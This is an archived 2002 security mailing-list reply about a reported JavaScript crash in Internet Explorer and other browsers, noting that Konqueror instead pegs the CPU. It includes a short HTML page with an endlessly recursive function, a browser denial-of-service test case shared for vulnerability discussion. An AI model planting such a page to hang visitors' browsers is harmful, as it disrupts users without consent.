Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:
edgeos



Vulnerability Development: Re: Buffer Overflow with all versions of Internet Explorer and Javacript.

Re: Buffer Overflow with all versions of Internet Explorer and Javacript.

From: Jacek Lach <jlach_at_utopia.pl.eu.org>
Date: Mon, 3 Jun 2002 12:31:02 +0000

On Sunday 02 June 2002 23:47, Scott Mackenzie wrote:
> After a few minutes testing it seems this does not only effect Internet
> Explorer but also the following browsers:
>
>
> In KDE's konqueror Latest Version it Seg Faults the browser instantly
a bit OT, but anyway, I also checked this and
Konqeror 3.0.0 hogs the CPU, but there was no segfault, the same effect (100%
CPU utilization) is done by simply this:
<html><head></head>
<script language="JAVASCRIPT">
function foo() {
foo();
}
</script>
<input type="button" onClick="foo();" value="SMASH!"></input>
</html>

This situation is handled by both IE and Mozilla 1.0rc1 (no hogs there)

Regards,
Jacek Lach
Received on Jun 03 2002

[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
edgeos